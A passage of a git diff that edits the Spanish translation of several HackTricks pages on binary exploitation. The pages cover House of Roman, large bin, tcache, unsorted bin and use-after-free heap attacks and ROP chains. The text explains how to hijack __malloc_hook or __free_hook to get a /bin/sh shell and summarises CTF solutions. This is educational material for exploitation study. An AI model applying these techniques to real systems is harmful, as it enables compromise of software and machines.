- Mensaje de error: `malloc(): corrupted unsorted chunks2`
-- **Comprobaciones durante el uso del Top chunk:**
+- **Comprobaciones durante el uso de Top chunk:**
- `chunksize(av->top) > av->system_mem`:
- Mensaje de error: `malloc(): corrupted top size`
@@ -94,6 +96,7 @@ malloc-and-sysmalloc.md
Para más información, consulta:
+
{{#ref}}
free.md
{{#endref}}
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index 28ed22e79..9f7148691 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -19,7 +19,7 @@ Esta fue una técnica muy interesante que permitió RCE sin leaks a través de f
- Editar punteros de fastbin y unsorted bin
- 12 bits de aleatoriedad deben ser forzados por fuerza bruta (0.02% de probabilidad) de funcionar
-## Pasos de Ataque
+## Pasos del Ataque
### Parte 1: Fastbin Chunk apunta a \_\_malloc_hook
@@ -30,11 +30,11 @@ Crea varios chunks:
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): offset relativo en el chunk 'main_arena_use'
-Luego `free(main_arena_use)` lo que colocará este chunk en la lista no ordenada y obtendrá un puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`.
+Luego `free(main_arena_use)` que colocará este chunk en la lista no ordenada y obtendrá un puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`.
Ahora se asigna un nuevo chunk `fake_libc_chunk(0x60)` porque contendrá los punteros a `main_arena + 0x68` en `fd` y `bk`.
-Luego `relative_offset_heap` y `fastbin_victim` son liberados.
+Luego se liberan `relative_offset_heap` y `fastbin_victim`.
```c
/*
Current heap layout:
@@ -49,13 +49,13 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` tiene un `fd` apuntando a `relative_offset_heap`
+- `fastbin_victim` tiene un `fd` que apunta a `relative_offset_heap`
- `relative_offset_heap` es un offset de distancia desde `fake_libc_chunk`, que contiene un puntero a `main_arena + 0x68`
- Solo cambiando el último byte de `fastbin_victim.fd` es posible hacer que `fastbin_victim` apunte a `main_arena + 0x68`
Para las acciones anteriores, el atacante necesita ser capaz de modificar el puntero fd de `fastbin_victim`.
-Entonces, `main_arena + 0x68` no es tan interesante, así que lo modificamos para que el puntero apunte a **`__malloc_hook`**.
+Entonces, `main_arena + 0x68` no es tan interesante, así que modifiquémoslo para que el puntero apunte a **`__malloc_hook`**.
Nota que `__memalign_hook` generalmente comienza con `0x7f` y ceros antes de él, por lo que es posible falsificarlo como un valor en el fast bin `0x70`. Debido a que los últimos 4 bits de la dirección son **aleatorios**, hay `2^4=16` posibilidades para que el valor termine apuntando a donde nos interesa. Así que se realiza un ataque BF aquí para que el chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
@@ -86,10 +86,10 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-Usa un UAF en este bloque para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente).
+Usa un UAF en este fragmento para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente).
> [!CAUTION]
-> Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.**
+> Ten en cuenta que este ataque corrompe el bin sin ordenar (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.**
Entonces, para activar la escritura de `main_arena + 0x68` en `__malloc_hook`, después de establecer `__malloc_hook` en `unsorted_bin_ptr->bk`, solo necesitamos hacer: **`malloc(0x80)`**
@@ -97,9 +97,9 @@ Entonces, para activar la escritura de `main_arena + 0x68` en `__malloc_hook`, d
En el primer paso terminamos controlando un chunk que contiene `__malloc_hook` (en la variable `malloc_hook_chunk`) y en el segundo paso logramos escribir `main_arena + 0x68` aquí.
-Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección `one_gadget`**.
+Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección de `one_gadget`**.
-Aquí es donde se necesita **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
+Aquí es donde es necesario **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finalmente, una vez que la dirección correcta es sobrescrita, **llama a `malloc` y activa el `one_gadget`**.
diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md
index 0fd49622d..b89552180 100644
--- a/src/binary-exploitation/libc-heap/large-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/large-bin-attack.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Información Básica
+## Basic Information
Para más información sobre qué es un large bin, consulta esta página:
@@ -18,15 +18,15 @@ En ese ejemplo puedes encontrar las siguientes condiciones:
- Se asigna un chunk grande
- Se asigna un chunk grande más pequeño que el primero pero en el mismo índice
-- Debe ser más pequeño, así que debe ir primero en el bin
+- Debe ser más pequeño, así que en el bin debe ir primero
- (Se crea un chunk para evitar la fusión con el chunk superior)
- Luego, se libera el primer chunk grande y se asigna un nuevo chunk más grande que él -> Chunk1 va al large bin
- Luego, se libera el segundo chunk grande
- Ahora, la vulnerabilidad: El atacante puede modificar `chunk1->bk_nextsize` a `[target-0x20]`
-- Luego, se asigna un chunk más grande que el chunk 2, por lo que chunk2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección de chunk2
+- Luego, se asigna un chunk más grande que chunk 2, por lo que chunk2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección de chunk2
> [!TIP]
-> Hay otros escenarios potenciales, la cuestión es añadir al large bin un chunk que sea **más pequeño** que un chunk X actual en el bin, por lo que debe insertarse justo antes de él en el bin, y necesitamos poder modificar **`bk_nextsize`** de X, ya que ahí es donde se escribirá la dirección del chunk más pequeño.
+> Hay otros escenarios potenciales, la cuestión es añadir al large bin un chunk que sea **más pequeño** que un chunk X actual en el bin, por lo que debe ser insertado justo antes de él en el bin, y necesitamos poder modificar **`bk_nextsize`** de X ya que ahí es donde se escribirá la dirección del chunk más pequeño.
Este es el código relevante de malloc. Se han añadido comentarios para entender mejor cómo se sobrescribió la dirección:
```c
diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
index c599f7f0d..02f66964b 100644
--- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
@@ -18,30 +18,30 @@ Sin embargo, hoy en día, si ejecutas el código mencionado, obtendrás el error
### Ataque de índices Tcache
-Por lo general, es posible encontrar al principio del heap un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk cabeza de cada índice de tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk cabeza de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso.
+Por lo general, es posible encontrar al principio del heap un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk cabeza de cada índice tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk cabeza de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso.
## Ejemplos
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
-- **Fuga de información de Libc**: Es posible llenar los tcaches, agregar un chunk a la lista no ordenada, vaciar el tcache y **re-asignar el chunk de la bin no ordenada** solo sobrescribiendo los primeros 8B, dejando la **segunda dirección a libc del chunk intacta para que podamos leerla**.
-- **Ataque Tcache**: El binario es vulnerable a un desbordamiento de heap de 1B. Esto se abusará para cambiar el **encabezado de tamaño** de un chunk asignado haciéndolo más grande. Luego, este chunk será **liberado**, agregándolo al tcache de chunks de tamaño falso. Después, asignaremos un chunk con el tamaño falso, y el chunk anterior será **devuelto sabiendo que este chunk era en realidad más pequeño** y esto brinda la oportunidad de **sobrescribir el siguiente chunk en memoria**.\
-Abusaremos de esto para **sobrescribir el puntero FD del siguiente chunk** para que apunte a **`malloc_hook`**, de modo que luego sea posible asignar 2 punteros: primero el puntero legítimo que acabamos de modificar, y luego la segunda asignación devolverá un chunk en **`malloc_hook`** que se puede abusar para escribir un **one gadget**.
+- **Fuga de información de Libc**: Es posible llenar los tcaches, agregar un chunk a la lista no ordenada, vaciar el tcache y **re-asignar el chunk desde el bin no ordenado** sobrescribiendo solo los primeros 8B, dejando la **segunda dirección a libc del chunk intacta para que podamos leerla**.
+- **Ataque Tcache**: El binario es vulnerable a un desbordamiento de heap de 1B. Esto se abusará para cambiar el **encabezado de tamaño** de un chunk asignado haciéndolo más grande. Luego, este chunk será **liberado**, añadiéndolo al tcache de chunks de tamaño falso. Después, asignaremos un chunk con el tamaño falso, y el chunk anterior será **devuelto sabiendo que este chunk era en realidad más pequeño** y esto brinda la oportunidad de **sobrescribir el siguiente chunk en memoria**.\
+Abusaremos de esto para **sobrescribir el puntero FD del siguiente chunk** para que apunte a **`malloc_hook`**, de modo que luego sea posible asignar 2 punteros: primero el puntero legítimo que acabamos de modificar, y luego la segunda asignación devolverá un chunk en **`malloc_hook`** que es posible abusar para escribir un **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
-- **Fuga de información de Libc**: Hay un uso después de liberar y un doble liberado. En este informe, el autor filtró una dirección de libc al leer la dirección de un chunk colocado en un bin pequeño (como filtrarlo de la bin no ordenada pero del pequeño).
+- **Fuga de información de Libc**: Hay un uso después de liberar y un doble liberado. En este informe, el autor filtró una dirección de libc al leer la dirección de un chunk colocado en un bin pequeño (como filtrarlo desde el bin no ordenado pero desde el pequeño).
- **Ataque Tcache**: Se realiza un Tcache a través de un **doble liberado**. El mismo chunk se libera dos veces, por lo que dentro del Tcache el chunk apuntará a sí mismo. Luego, se asigna, su puntero FD se modifica para apuntar al **free hook** y luego se asigna nuevamente, por lo que el siguiente chunk en la lista estará en el free hook. Luego, esto también se asigna y es posible escribir la dirección de `system` aquí, por lo que cuando se libera un malloc que contiene `"/bin/sh"` obtenemos un shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- La principal vulnerabilidad aquí es la capacidad de `free` cualquier dirección en el heap indicando su desplazamiento.
-- **Ataque de índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk tcache (el chunk con la información de los bins de tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en diferentes bytes, por lo tanto, un chunk en un índice específico genera el valor 0x100.
+- **Ataque de índices Tcache**: Es posible asignar y liberar un chunk de un tamaño que, cuando se almacena dentro del chunk tcache (el chunk con la información de los bins tcache), generará una **dirección con el valor 0x100**. Esto se debe a que el tcache almacena la cantidad de chunks en cada bin en diferentes bytes, por lo tanto, un chunk en un índice específico genera el valor 0x100.
- Luego, este valor parece que hay un chunk de tamaño 0x100. Permitiendo abusar de él al `free` esta dirección. Esto **agregará esa dirección al índice de chunks de tamaño 0x100 en el tcache**.
-- Luego, **asignando** un chunk de tamaño **0x100**, la dirección anterior será devuelta como un chunk, permitiendo sobrescribir otros índices de tcache.\
+- Luego, **asignando** un chunk de tamaño **0x100**, la dirección anterior será devuelta como un chunk, permitiendo sobrescribir otros índices tcache.\
Por ejemplo, poniendo la dirección de malloc hook en uno de ellos y asignando un chunk del tamaño de ese índice otorgará un chunk en calloc hook, lo que permite escribir un one gadget para obtener un shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- La misma vulnerabilidad que antes con una restricción adicional.
-- **Ataque de índices Tcache**: Ataque similar al anterior pero utilizando menos pasos al **liberar el chunk que contiene la información de tcache** para que su dirección se agregue al índice de tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk de tcache como un chunk, lo que permite agregar el free hook como la dirección de un índice, asignarlo y escribir un one gadget en él.
+- **Ataque de índices Tcache**: Ataque similar al anterior pero utilizando menos pasos al **liberar el chunk que contiene la información del tcache** para que su dirección se agregue al índice tcache de su tamaño, por lo que es posible asignar ese tamaño y obtener la información del chunk tcache como un chunk, lo que permite agregar el free hook como la dirección de un índice, asignarlo y escribir un one gadget en él.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Escritura después de liberar** para agregar un número al puntero `fd`.
- Se necesita mucho **heap feng-shui** en este desafío. El informe muestra cómo **controlar la cabeza de la lista libre de Tcache** es bastante útil.
- **Fuga de Glibc** a través de `stdout` (FSOP).
-- **Envenenamiento de Tcache** para obtener un primitivo de escritura arbitraria.
+- **Envenenamiento de Tcache** para obtener una escritura arbitraria.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 05950f1a3..9cc86dfdb 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -15,12 +15,12 @@ Las listas no ordenadas pueden escribir la dirección en `unsorted_chunks (av)`
Así que, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Este número grande es una dirección, que podría ser una dirección de heap o una dirección de Glibc. Un objetivo típico es **`global_max_fast`** para permitir crear bins de fast bin con tamaños más grandes (y pasar de un ataque de unsorted bin a un ataque de fast bin).
> [!TIP]
-> E> chando un vistazo al ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) y usando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de chunk (para evitar Tcache), es posible ver que **hoy en día** el error **`malloc(): unsorted double linked list corrupted`** se activa.
+> E> chando un vistazo al ejemplo proporcionado en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) y usando 0x4000 y 0x5000 en lugar de 0x400 y 0x500 como tamaños de chunk (para evitar Tcache), es posible ver que **hoy en día** se activa el error **`malloc(): unsorted double linked list corrupted`**.
>
-> Por lo tanto, este ataque de unsorted bin ahora (entre otras verificaciones) también requiere poder arreglar la lista doblemente enlazada para que esto se eluda `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del chunk falso en su posición `fd` y que el `fd` del chunk falso apunta a la arena.
+> Por lo tanto, este ataque de unsorted bin ahora (entre otras comprobaciones) también requiere poder arreglar la lista doblemente enlazada para que esto se eluda `victim->bk->fd == victim` o no `victim->fd == av (arena)`, lo que significa que la dirección donde queremos escribir debe tener la dirección del chunk falso en su posición `fd` y que el `fd` del chunk falso apunta a la arena.
> [!CAUTION]
-> Ten en cuenta que este ataque corrompe el unsorted bin (por lo tanto, también pequeños y grandes). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.**
+> Ten en cuenta que este ataque corrompe el unsorted bin (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.**
>
> Ten en cuenta que sobrescribir **`global_max_fast`** podría ayudar en este caso confiando en que el fast bin podrá encargarse de todas las otras asignaciones hasta que se complete el exploit.
@@ -31,7 +31,7 @@ El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_a
Este es en realidad un concepto muy básico. Los chunks en el unsorted bin van a tener punteros. El primer chunk en el unsorted bin tendrá en realidad los enlaces **`fd`** y **`bk`** **apuntando a una parte de la arena principal (Glibc)**.\
Por lo tanto, si puedes **poner un chunk dentro de un unsorted bin y leerlo** (uso después de liberar) o **asignarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes tener una **fuga de información de Glibc**.
-Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) fue abusar de una estructura de 4 chunks (A, B, C y D - D es solo para prevenir la consolidación con el chunk superior) así que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no estaba en uso. Además, en B se modificó el dato `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\
+Un [**ataque similar utilizado en este informe**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) fue abusar de una estructura de 4 chunks (A, B, C y D - D es solo para evitar la consolidación con el chunk superior) así que se utilizó un desbordamiento de byte nulo en B para hacer que C indicara que B no estaba en uso. Además, en B se modificaron los datos de `prev_size` para que el tamaño en lugar de ser el tamaño de B fuera A+B.\
Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se asignó un nuevo chunk de tamaño A y luego se escribieron las direcciones de libc filtradas en B desde donde fueron filtradas.
## References & Other examples
@@ -44,10 +44,10 @@ Luego, C fue desalojado y consolidado con A+B (pero B aún estaba en uso). Se as
- Luego, chunk3 se asigna con el mismo tamaño que chunk1, lo que activará el ataque de unsorted bin y modificará el valor de la variable global, haciendo posible obtener la bandera.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- La función de fusión es vulnerable porque si ambos índices pasados son el mismo, se reasignará sobre él y luego se liberará, pero devolviendo un puntero a esa región liberada que se puede usar.
-- Por lo tanto, **se crean 2 chunks**: **chunk0** que se fusionará consigo mismo y chunk1 para evitar consolidar con el chunk superior. Luego, se **llama a la función de fusión con chunk0** dos veces, lo que causará un uso después de liberar.
+- Por lo tanto, **se crean 2 chunks**: **chunk0** que se fusionará consigo mismo y chunk1 para evitar la consolidación con el chunk superior. Luego, se **llama a la función de fusión con chunk0** dos veces, lo que causará un uso después de liberar.
- Luego, se llama a la función **`view`** con el índice 2 (que es el índice del chunk de uso después de liberar), lo que **filtrará una dirección de libc**.
-- Como el binario tiene protecciones para solo malloc tamaños mayores que **`global_max_fast`**, por lo que no se usa fastbin, se va a usar un ataque de unsorted bin para sobrescribir la variable global `global_max_fast`.
-- Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk usará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins.
+- Como el binario tiene protecciones para solo malloc tamaños mayores que **`global_max_fast`**, por lo que no se usa fastbin, se va a utilizar un ataque de unsorted bin para sobrescribir la variable global `global_max_fast`.
+- Luego, es posible llamar a la función de edición con el índice 2 (el puntero de uso después de liberar) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Luego, crear un nuevo chunk utilizará la dirección liberada previamente comprometida (0x20) que **activará el ataque de unsorted bin** sobrescribiendo el `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins.
- Ahora se realiza un **ataque de fast bin**:
- Primero, se descubre que es posible trabajar con fast **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
-
-- Si logramos obtener un fast chunk de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
+- Si logramos obtener un chunk rápido de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
- Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función de fusión con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
-- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función anterior **`__free_hook`**.
+- Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la anterior función **`__free_hook`**.
- Luego, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, por lo que se crea otro chunk de tamaño `0x1f8` para obtener un chunk de fast bin en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
- Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener una fuga de información de libc y luego realizar un ataque de fast bin para sobrescribir malloc hook con una dirección de one gadget.
+- Otro ejemplo de abusar de un desbordamiento de 1B para consolidar chunks en el unsorted bin y obtener una fuga de información de libc y luego realizar un ataque de fast bin para sobrescribir el malloc hook con una dirección de one gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Solo podemos asignar chunks de tamaño mayor que `0x100`.
- Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md
index 9a8ef5e08..fe2e8e9e5 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/README.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/README.md
@@ -4,9 +4,9 @@
## Información Básica
-Como su nombre indica, esta vulnerabilidad ocurre cuando un programa **almacena algún espacio** en el heap para un objeto, **escribe** alguna información allí, **libera** aparentemente porque ya no se necesita y luego **accede a él nuevamente**.
+Como su nombre indica, esta vulnerabilidad ocurre cuando un programa **almacena algún espacio** en el heap para un objeto, **escribe** algo de información allí, **libera** aparentemente porque ya no se necesita y luego **accede a él nuevamente**.
-El problema aquí es que no es ilegal (no **habrá errores**) cuando se **accede a memoria liberada**. Así que, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, cuando se accede a la memoria liberada desde el puntero inicial, **esos datos habrían sido sobrescritos**, causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero a una función que iba a ser llamada, un atacante podría saber controlarlo).
+El problema aquí es que no es ilegal (no **habrá errores**) cuando se **accede a memoria liberada**. Así que, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, cuando se accede a la memoria liberada desde el puntero inicial, **esos datos habrían sido sobrescritos**, causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero de una función que iba a ser llamada, un atacante podría saber controlarlo).
### Ataque de Primer Ajuste
diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md
index 533236878..984603014 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/README.md
@@ -9,12 +9,12 @@
### Cómo Funciona ROP
1. **Secuestro del Flujo de Control**: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un desbordamiento de búfer para sobrescribir una dirección de retorno guardada en la pila.
-2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza necesaria o operaciones adicionales.
+2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza necesaria u operaciones adicionales.
3. **Ejecución de la Carga Útil**: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets.
### Herramientas
-Típicamente, los gadgets se pueden encontrar usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o directamente desde **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
+Típicamente, los gadgets se pueden encontrar utilizando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o directamente desde **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## Ejemplo de Cadena ROP en x86
@@ -29,14 +29,14 @@ Primero, supongamos que hemos identificado los gadgets necesarios dentro del bin
- `pop eax; ret`: Este gadget saca el valor superior de la pila en el registro `EAX` y luego retorna, permitiéndonos controlar `EAX`.
- `pop ebx; ret`: Similar al anterior, pero para el registro `EBX`, habilitando el control sobre `EBX`.
-- `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama a menudo un **gadget de escribir-qué-dónde**.
+- `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama a menudo un **gadget de escritura-dónde-qué**.
- Además, tenemos la dirección de la función `system()` disponible.
### **Cadena ROP**
Usando **pwntools**, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar `system('/bin/sh')`, nota cómo la cadena comienza con:
-1. Una instrucción `ret` para propósitos de alineación (opcional)
+1. Una instrucción `ret` por motivos de alineación (opcional)
2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/index.html))
3. Marcador de posición para la dirección de retorno de `system()`
4. Dirección de la cadena `"/bin/sh"` (parámetro para la función system)
@@ -77,11 +77,11 @@ p.interactive()
### **x64 (64 bits) Convenciones de llamada**
-- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas tipo Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
+- Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
- La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`.
-- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
+- **Registros**: los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
-#### **Encontrar Gadgets**
+#### **Encontrando Gadgets**
Para nuestro propósito, centrémonos en gadgets que nos permitan establecer el registro **RDI** (para pasar la cadena **"/bin/sh"** como argumento a **system()**) y luego llamar a la función **system()**. Supondremos que hemos identificado los siguientes gadgets:
@@ -155,14 +155,14 @@ Consulta la siguiente página para esta información:
## Protecciones Contra ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones.
-- [**Canarios de Pila**](../common-binary-protections-and-bypasses/stack-canaries/index.html): En caso de un BOF, es necesario eludir el canario de pila para sobrescribir punteros de retorno y abusar de una cadena ROP.
+- [**Canarios de Pila**](../common-binary-protections-and-bypasses/stack-canaries/index.html): En caso de un BOF, es necesario eludir el canario de pila almacenado para sobrescribir los punteros de retorno y abusar de una cadena ROP.
- **Falta de Gadgets**: Si no hay suficientes gadgets, no será posible generar una cadena ROP.
## Técnicas basadas en ROP
Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basado en ROP se desarrollaron muchas técnicas Ret2XXX:
-- **Ret2lib**: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`.
